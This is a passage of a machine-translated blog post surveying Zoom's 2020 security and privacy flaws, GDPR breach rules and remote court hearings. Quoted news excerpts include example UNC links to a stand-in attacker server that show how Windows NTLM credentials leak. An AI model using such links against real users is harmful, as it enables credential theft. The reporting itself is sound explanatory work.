Zoom would take over the passwords saved by Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/1, we learned that Zoom for Windows can be used to&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/&amp;usg=ALkJrhjX5199lL8vGczS9pa11BABF_qpdQ\">steal</a>&nbsp;&nbsp;users’ Window credentials.</em></li><li><em>Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they’re using.&nbsp;The Zoom app for Windows automatically converts these so-called&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.lifewire.com/unc-universal-naming-convention-818230&amp;usg=ALkJrhhKEUUU1tcfso1zMP4yBzUhZIhFIg\">universal naming convention</a>&nbsp;&nbsp;strings – such as \\\\ attacker.example.com/C$ – into clickable links.&nbsp;In the event that targets click on those links on networks that aren’t fully locked down, Zoom will send the Windows usernames and the corresponding&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers&amp;usg=ALkJrhhTkh_RXrXKpS9uiPZAwvs0q3ICJg\">NTLM</a>&nbsp;&nbsp;hashes to the address contained in the link</em>&nbsp;.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On April 2 we learned that Zoom would access personal data extracted from users’ Linkedin profiles:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html&amp;usg=ALkJrhgBR4-SVDPjo0aBd9tZp9zmVycoew\">secretly displayed</a>&nbsp;&nbsp;data from people’s LinkedIn profiles, which allowed some meeting participants to snoop on each other.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html&amp;usg=ALkJrhi8dhovhmXzrKVOru6TbZf0uRsHMg\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/&amp;usg=ALkJrhg5ZnpDG7iIxhk7m_WpPfUa8aMFCQ\">Every Zoom Security and Privacy Flaw So Far, and What You Can Do to Protect Yourself</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Very quickly came the news of intruders inviting themselves in the middle of meetings, intrusion qualified as ‘ZoomBombing’:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://mashable.com/article/videoconference-crashed-naked-man-privacy/%3Feurope%3Dtrue&amp;usg=ALkJrhjR6Sw90cPUEDuhJeqBhRkaDdJXWQ\">Naked man crashing school’s video call is a privacy lesson for all</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content&amp;usg=ALkJrhiMnWp2LT-piu8zsdPBxKS-Z_lapQ#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals spewing racist, misogynistic or vulgar content.&nbsp;Experts say professors using Zoom should familiarize themselves with the program’s settings.</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://techcrunch.com/2020/03/17/zoombombing/&amp;usg=ALkJrhhOYYrun5JfIFQJvOqvQAyTR7tf1w\">Suddenly, dozens of attendees were bombarded with disturbing imagery.&nbsp;A troll entered the call and screenshared Two Girls, One Cup and other horrifying sexual videos.&nbsp;Attempts to block the attack were thwarted as the perpetrator simply re-entered the call</a></em></li><li><a href=\"https://www.reuters.com/article/us-zoom-video-commn-privacy-senate/u-s-senate-tells-members-to-avoid-zoom-over-data-security-concerns-ft-idUSKCN21R0VU\">U.S. Senate tells members to avoid Zoom over data security concerns: FT</a></li><li><a href=\"https://twitter.com/OpenRightsGroup/status/1251185825292959746?s=20\">An Open Rights Group Zoom meeting was disturbed by child pedo pornographic images</a>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Another problem possibly solved by Zoom, data sharing with Facebook using the SDK denounced by&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\">Motherboard</a>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\" target=\"_blank\" rel=\"noreferrer noopener\">article on the news site Motherboard</a>&nbsp;&nbsp;reported that software inside the Zoom iPhone app was sending user data to Facebook, the company said it was&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook&amp;usg=ALkJrhiBjKxqHJbRNsUzNiBzSnjKGu_eIQ\" target=\"_blank\" rel=\"noreferrer noopener\">removing the tracking software</a>&nbsp;.</em></li><li><em>Zoom, like other apps, uses&nbsp;<strong>Facebook ‘</strong>&nbsp;s software development kits (SDK) to implement features quickly.&nbsp;In exchange, Facebook gains useful information about users.&nbsp;As Vice’s Motherboard explains, Zoom connects to Facebook’s Graph API, which is the way developers get data in or out of Facebook.</em></li><li><em>The Zoom app notifies Facebook when the user opens the app, details on the user’s device such as the model, the time zone and city they are connecting from, which phone carrier they are using, and a unique advertiser identifier created by the user’s device which companies can use to target a user with advertisements.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom has modified this flaw, inviting users to update their Application:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn&amp;usg=ALkJrhhj0kU0EpB7XEcY6hsO35ungrFIVw\">Zoom Removes Its Facebook Data Sharing on iOS amid Possible GDPR Violations</a></em></li><li><em>Zoom has removed its&nbsp;<strong>Facebook SDK</strong>&nbsp;for iOS integration after a report&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\">from Motherboard</a>&nbsp;.</em></li><li><em>the developers&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/&amp;usg=ALkJrhjbWj_636LN_e_zuHG0c3wlkC21zQ\">&nbsp;in a statement</a>&nbsp;.&nbsp;“Users will need to update to the latest version of our application that’s already available at 2:30 pm Pacific time on Friday, March 27, 2020, in order for these changes to take hold, and we strongly encourage them to do so.&nbsp;“</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis&amp;usg=ALkJrhitNfjDWxlOvVPtNAgcg5PwozKH3g\">Electronic Frountier Foundation</a>&nbsp;alerts that users still don’t know how to erase the information collected</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any information that was gathered about their device.&nbsp;This removal also doesn’t address any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis&amp;usg=ALkJrhitNfjDWxlOvVPtNAgcg5PwozKH3g\">The EFF points out</a>&nbsp;&nbsp;that Zoom administrators can get detailed information about how, when, and where users are using the app, with real-time dashboards.&nbsp;As it’s an intentional feature, it’s unlikely the companywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>We read in&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/&amp;usg=ALkJrhgAsLg-I6QHTw_QR_dU9HAvq-XGlA\">Forbes</a>&nbsp;magazine&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/&amp;usg=ALkJrhgAsLg-I6QHTw_QR_dU9HAvq-XGlA\">:</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘&nbsp;<em>Ultimately, anyone having sensitive conversations should therefore consider whether Zoom is suitable, he noted.&nbsp;“I would think very carefully before I used Zoom to communicate classified information, trade secrets or confidential medical data,” Marczak said.&nbsp;“If you are a human rights defender, lawyer, journalist, or anyone else working on sensitive topics that you think a nation-state or other powerful adversary might be interested in, I would advise you to wait for Zoom to make security improvements in their app before you use it. ”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple has introduced an update to remove the ‘&nbsp;<em>hidden Zoom web server’</em>&nbsp;&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/&amp;usg=ALkJrhh25eSEylS1aNG_bR0JHeT-AQvq1w\">Thousands of Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/techcrunch.com/2019/07/10/apple-silent-update-zoom-app&amp;usg=ALkJrhgJXQe1DB8UBuAzLhxtOz4kyjX_OQ\">Apple has pushed a silent Mac update to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/&amp;usg=ALkJrhhVSdjQlTBa4Dpxv3xYtX0YEeYCTw\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;&nbsp;people’s Windows local login usernames and hashed passwords via Zoom by getting them to click on a URL in a chat message that connects to a malicious SMB file server.&nbsp;A link such as&nbsp;&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked on, cause Windows to connect to&nbsp;&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in user’s credentials in hope of fetching&nbsp;&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em></li><li><em>Ex-NSA hacker drops new zero-day doom for Zoom.&nbsp;Hot on the heels of two security researchers&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/hackerfantastic/status/1245133371262619654&amp;usg=ALkJrhg_sX26m-Ods_n0syl9vFWdImTrQQ\">finding a Zoom bug</a>&nbsp;that can be abused to steal Windows passwords, another security researcher found two new bugs that can be used to take over a Zoom user’s Mac, including tapping into the webcam and microphone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle security researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://objective-see.com/blog/blog_0x56.html&amp;usg=ALkJrhgPyuX417n0g_qzW0D-8OBVqtOhdg\">on his blog</a>&nbsp;&nbsp;Wednesday, which he shared&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://techcrunch.com/2020/04/01/zoom-doom/&amp;usg=ALkJrhiyMa3kJZnAv6KNqNKPciU7FuYhUg\">with TechCrunch</a>&nbsp;.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Obviously with the galloping success of Zoom, we see a rookie of ‘&nbsp;<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/&amp;usg=ALkJrhhdfcDUuXdUHkuByLOxeaRLuNSLuw\">Researchers see sharp rise in fake Zoom domains as hackers target remote workers&nbsp;</a></em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/&amp;usg=ALkJrhhdfcDUuXdUHkuByLOxeaRLuNSLuw\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfer of personal data outside the EU / EEA</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom is a California-based company.&nbsp;As such, he is self certified Privacy Shield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/03/31/zoom-meeting-encryption/&amp;usg=ALkJrhj_guVRLG1cA5OOHr70YGBNDHE1Ig\"><em>Intercept</em></a>&nbsp;has revealed the transfer of data to China.&nbsp;The CEO acknowledged this fact attributing it to a simple referral error.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No one can ignore the war of industrial espionage.&nbsp;Zoom, like any American company is subject to the US Cloud Act.&nbsp;In other words at any time the data can be claimed by the US government.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny&amp;usg=ALkJrhiGD1pXHKHX5dQbKVkM_HpYbRbB0Q\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus Crisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach or unauthorised access to data</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any unauthorised access to personal data must be assessed as to the seriousness of the potential consequences for the individuals concerned.&nbsp;In the event of a serious risk, they must be notified as soon as possible and no later than&nbsp;<strong>within 72 hours</strong>&nbsp;.&nbsp;The data protection authority must be notified within 72 hours at the latest.&nbsp;In all cases the data breach must be listed in the internal register in accordance with the provisions of&nbsp;<strong>&nbsp;<a href=\"https://gdpr-info.eu/art-33-gdpr/\">Article&nbsp;33</a></strong>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting&nbsp;<strong>screen shots</strong>&nbsp;of videoconference revealing the ID number of the meeting and the images of the participants accompanied by their names or pseudonyms can be considered as a breach of confidentiality,</li><li><strong>2</strong>&nbsp;major recent&nbsp;<strong>examples</strong>&nbsp;:&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says&amp;usg=ALkJrhi8nkNmlsHXdFaRkhdBCn25Gk18LQ\">Boris Johnson</a>&nbsp;CNB posting a board meeting or their GA.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The specific case of the use of such a tool by lawyers or professional associations</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a context where so many cries of alarms were launched about the failures of this tool, as the New York Attorney General investigations asking the schools not to use the application, followed by other state authorities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html&amp;usg=ALkJrhi4Od7ZPREXg0oezpaxW1n_iYG3BA\">NY Attorney General to look at Zoom</a>&nbsp;&nbsp;:</em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743&amp;usg=ALkJrhiuzK-w-kyBWl0sbmLQ7fot4A0pjA\">Multiple state AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Use of video conferences for hearing outfits:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.linkedin.com/in/richardsusskind/detail/recent-activity/\">Richard Susskind</a>, President of the Society for Computers and Law announced two weeks ago :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/&amp;usg=ALkJrhiCKTGuQtVoub0CRXhok5whX6VpkQ\">Launched today: REMOTE COURTS WORLDWIDE, designed to help the global community of justice workers share experiences of ‘remote’ alternatives (audio, video, online) to traditional courts.&nbsp;This is a joint effort involving&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/scl-society-for-computers-and-law-/&amp;usg=ALkJrhiwdruKG-8NaK5C08MjAQ9Ix5762Q\">SCL – Society for Computers and Law</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/hm-courts-%26-tribunals-service/&amp;usg=ALkJrhii6pryNkI8AKlRiPOC4yuyaVCvDw\">HM Courts &amp; Tribunals Service (HMCTS)</a>&nbsp;, and the UK’s LawTech Delivery Panel.&nbsp;We must sixteen the moment and come together to accelerate the development of new ways of continuing to deliver just outcomes for court users.&nbsp;Please contribute content at…</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>He later posted :<em>&nbsp;Update after 1 week. We now have news from 20 countries on REMOTE COURTS WORLDWIDE, a site that helps the global community of justice workers share experiences of ‘remote’ alternatives (audio, video, online) to traditional courts –</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The courts will resume face-to-face hearings when the current crisis is over. But remote working can be a much more efficient way of delivering justice. My latest column for&nbsp;<a href=\"https://twitter.com/lawsocgazette\">@lawsocgazette</a>&nbsp;looks at how courts and tribunals are coping with online hearings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In France, on April 3, Maitre Aymeric Duhesne from Cabinet Montesquieu announced on Linkedin:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“With Le Bâtonnier Stephane Dhonte, the registry of the Lille Métropole Commercial Court and the judge for interim measures, we have just finalized the test of the 1st hearing by videoconference as allowed by order 2020-304 of 25.03.20.&nbsp;The Bar of Lille and its lawyers are force of proposal and immediately operational solution and thus mark their determination to allow the continuity of the access to the right to litigants, individuals and companies, in spite of the health crisis.&nbsp;Cases will be heard again next week and decisions made. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the same time, Stephen Almaseanu, Vice Prosecutor at the Paris Public Prosecutor’s Office, Section F2 (deputy head of the section, in charge of commercial affairs) announced on Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“&nbsp;<em>The Commercial Court of Paris has just held, on Wednesday 1 and Thursday 2 April 2020, two days of dematerialized hearings which went very well. More than 40 urgent files, notably due to the presence of unpaid employees, were processed by videoconference using&nbsp;</em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/tixeo/&amp;usg=ALkJrhjlL6VMQdICyvreiF-UAxjOAu97mg\"><strong><em>TIXEO</em></strong></a><em>&nbsp;, French software ensuring total confidentiality of debates thanks to fully encrypted links, which allows it to be certified by the ‘&nbsp;</em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/anssi-fr/&amp;usg=ALkJrhibGge86G_h552xlifXKfXhk_xcgg\"><strong><em>ANSSI – National Agency for Information Systems Security</em></strong></a><em>. These concerned the opening of liquidations and conversions into liquidation, but also the opening of receiverships (remember, moreover, that since the beginning of the confinement, many ad hoc mandates and conciliations have also been opened). Congratulations in particular to the Registry of the Tribunal, which organized these very cumbersome hearings to set up by warning all stakeholders (managers, counsel, AJMJ, employee representatives) of the exact time of the passage of their file so that everyone can connect at the right time). Congratulations also to the judges and to all the interveners who made it possible to hold these very useful first hearings, which allow Parisian businesses to continue to have access to the court in the event of an emergency.</em>&nbsp;”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maître Emmanuel Brunau du Mans announced yesterday still on Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“&nbsp;<em>For information, the Le Mans commercial court registry operates normally despite the closure of the Judicial precinct.&nbsp;A hotline is maintained at the usual hours.&nbsp;Finally, to deal with the emergency, hearings to initiate collective proceedings in secure TIXEO videoconferencing are held every Tuesday during confinement. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Where initiatives fall by the wayside in France, on the Anglo-Saxon side a concerted initiative has emerged:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Despite the popularity of this video conferencing tool, alarm cries continue to be heard against the use of Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://epic.org/&amp;usg=ALkJrhiJZ_2sMD4Ci1Zuh7sxzTsjyYelLA\">EPIC, Electronic Privacy Information Center</a>&nbsp;, requests investigations from the FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/JLLeitschuh/status/1148310958391091200&amp;usg=ALkJrhgI4bjj9BEWlwZmVy8aVjs6_0hOnw\" target=\"_blank\">Jonathan Leitschuh</a>&nbsp;, exposed a flaw allowing hackers to&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera&amp;usg=ALkJrhiMcI4p_P7CgUSyAbDFcJvGvzyuXQ\" target=\"_blank\">take over Zoom webcams</a>&nbsp;.&nbsp;The letter noted that the company did not address problem until after the Electronic Privacy Information Center, a public interest research center,&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf&amp;usg=ALkJrhhFmd1hBEUAtgcIaka36ZyWjwEmBQ\" target=\"_blank\">filed a complaint&nbsp;</a>&nbsp;about Zoom with the Federal Trade Commission last year</em>&nbsp;. ”</li><li>“&nbsp;<em>According to EPIC,&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5&amp;usg=ALkJrhiJc3vmcRd0mDljNMB8UiTBmAIf7g\" target=\"_blank\">Zoom</a>&nbsp;&nbsp;intentionally designed its web conferencing service to bypass browser security settings and remotely enable a user’s web camera without the knowledge or consent of the user.&nbsp;As a result, Zoom exposed users to the risk of remote surveillance, unwanted videocalls, and denial-of-service attacks, ”&nbsp;<a 